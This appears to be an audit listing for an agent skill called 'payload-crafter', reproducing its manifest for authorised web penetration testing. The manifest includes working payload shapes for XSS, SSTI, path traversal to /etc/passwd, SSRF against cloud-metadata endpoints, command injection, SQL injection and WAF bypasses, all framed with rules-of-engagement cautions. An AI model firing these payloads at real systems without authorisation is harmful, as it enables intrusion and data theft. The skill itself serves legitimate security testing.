payload-crafter — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited payload-crafter (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Pattern-level discipline: this skill provides payload shapes to illustrate class behavior, not ready-to-run exploits against specific target versions. Working exploits for production targets require RoE sign-off and a lab context. Version-specific 0-day payloads (gadget chains, PoCs for specific named CVEs) are not here — those belong in a closed engagement workspace, not in a reusable skill.
Payloads are the hands-on side of vuln discovery. web-exploit-triage classifies; this skill provides illustrative test shapes per class, for verification in a lab or within an RoE-permitted sandbox.
Triggers on:
web-exploit-triage (this skill leans on it).exploit-chain.post-exploit. This skill stops at the first-impact shape.ad-attacks.c2-hygiene.Six phases. Phase 2 (class choice + context) and phase 3 (pattern library) are the core.
A payload without context fitting does not work. Before you choose a payload, know:
bleach or DOMPurify, allow-list validation.Without these five, payload choice is guessing. Start with benign probes (such as xss<>"&'1234567) and see what survives in the response.
Match symptom to class:
{{...}} or ${...} evaluation).Cross-reference the class detection with web-exploit-triage. Do not send a payload without classification.
Pattern level only. What follows is a set of class illustrations freely available in any OWASP cheat sheet or PortSwigger lab — no 0-days, no specific CVE PoCs.
XSS — context-specific shape selection:
HTML body context: <svg onload=alert(1)>
HTML attribute (unquoted): x onmouseover=alert(1)
HTML attribute (quoted): ">x onmouseover=alert(1)
JavaScript string: ';alert(1);//
JavaScript context (no quotes): -alert(1)-
URL/href context: javascript:alert(1)
Image src: <img src=x onerror=alert(1)>
SVG: <svg/onload=alert(1)>Polyglots (one payload, multiple contexts) exist in OWASP collections — use when context is unknown on first probe.
SSTI — engine fingerprint and class test:
Engine-fingerprint probes (which evaluator?):
{{7*7}} → Jinja2/Twig/Liquid → 49
${7*7} → JSP/Spring SpEL/FreeMarker → 49
<%= 7*7 %> → ERB/EJS → 49
*{7*7} → Thymeleaf → 49
#{7*7} → some Spring/Ruby → 49
Class test (NOT payload completion):
Jinja2: {{ ''.__class__.__mro__[1].__subclasses__() }}
→ reveals class tree, sufficient evidence for SSTI classificationBeware: working RCE payloads for Jinja/FreeMarker/etc. are engine-version-specific and belong in a lab context, not in this skill.
LFI / Path Traversal — traversal shapes and wrappers:
Basic traversal: ../../../etc/passwd
URL-encoded: %2e%2e%2f%2e%2e%2fetc%2fpasswd
Double-encoded: %252e%252e%252fetc%252fpasswd
Null-byte (legacy): ../../../etc/passwd%00
PHP wrappers: php://filter/convert.base64-encode/resource=index.php
Windows traversal: ..\..\..\windows\win.ini
Unicode bypass: ..%c0%afetc/passwdWrappers and encoding form depend on platform and filter stack; probe in lab.
SSRF — protocol and target shapes:
Cloud-metadata targets (pattern level):
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
Protocol smuggling:
file:///etc/passwd
gopher://target:port/_<protocol-payload>
dict://target:11211/stat
ldap://target/
DNS-rebinding pattern: hostname that initially resolves to a public IP, after TTL to an internal IP.Verify only that the outbound call is made (DNS callback with interactsh, Burp Collaborator), without actually hitting sensitive internal endpoints in production.
Command Injection — separator and bypass shapes:
Common separators: ; & | && ||
Substitution: $(cmd) `cmd` ${cmd}
Newline: \n cmd
Whitespace bypass: ${IFS}cat /etc/passwd
Brace expansion: {cat,/etc/passwd}
Encoded: base64-decoded one-liners (in lab only)For production PoC: a harmless probe (id, hostname, whoami), not cat /etc/shadow or data extraction.
SQL Injection — class fingerprint (already broadly covered by SAST/DAST tooling, brief here):
Tautology: ' OR '1'='1
Comment-based: ' OR 1=1--
Union-based test: ' UNION SELECT NULL--
Boolean-blind: ' AND SUBSTR((SELECT version()),1,1)='5'--
Time-blind: ' AND SLEEP(5)-- Tools (sqlmap) automate production discovery; this skill provides the pattern level reviewers can read.
WAFs match on signatures. Bypass shapes mutate the payload so the signature does not match while the target parser still evaluates correctly.
<ScRiPt>, SeLeCt. Cheap first attempt.%252f), triple. Most WAFs decode 1× or 2×, not always 3×.<script>. Works in HTML render context.< = U+FF1C <), homoglyphs.SE/**/LECT, UN/**/ION.param=val1¶m=val2 — some WAFs see only one instance, the target parser combines.\t, newline \n, carriage return, formfeed, IFS in shell.'a'||'b', JS String.fromCharCode(...).Discipline: work one bypass at a time and log what worked, for reproducibility and for blue-team feedback.
alert(1), id, 7*7=49). Not full-impact straight away.cat /etc/passwd is low-impact on most systems, but you should not do it without sign-off. A select ssn from users certainly not.Layer 1: scope (payload within RoE-permitted scope, no experiments on out-of-scope or third-party?), assumptions (payload kept at pattern level, not silently turned version-specific?), gaps (context detection verified, not guessed?). Layer 2: payload shapes attributed from public OWASP/PortSwigger sources, no version-specific gadget chains in the skill, no ready-to-run exploit for named CVEs, encoding claims (which WAF decodes which encoding) not presented as fact without verification.
Per probe or test:
Payload test — <class> in <context>
RoE scope: <confirmed>
Context detect: <HTML body | JS string | URL | ...>
Filter path: <known | unknown>
Probes executed:
1. <shape> → <response/observation, redacted>
2. ...
Class confirmed: <yes, with pattern evidence | no>
Bypasses tried: <encoding shapes, WAF response>
Class confirmed without weaponization: <yes>
Handoff:
- web-exploit-triage: <classification + impact>
- exploit-chain: <chain candidate Y/N>
- pentest-reporter: <finding shape for the report>
Verification-loop: ...Do not pass on to the customer: raw weaponized PoCs, production test creds, unredacted shell-spawn payloads. A pattern shape with a "verifiable in lab" doc is enough.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.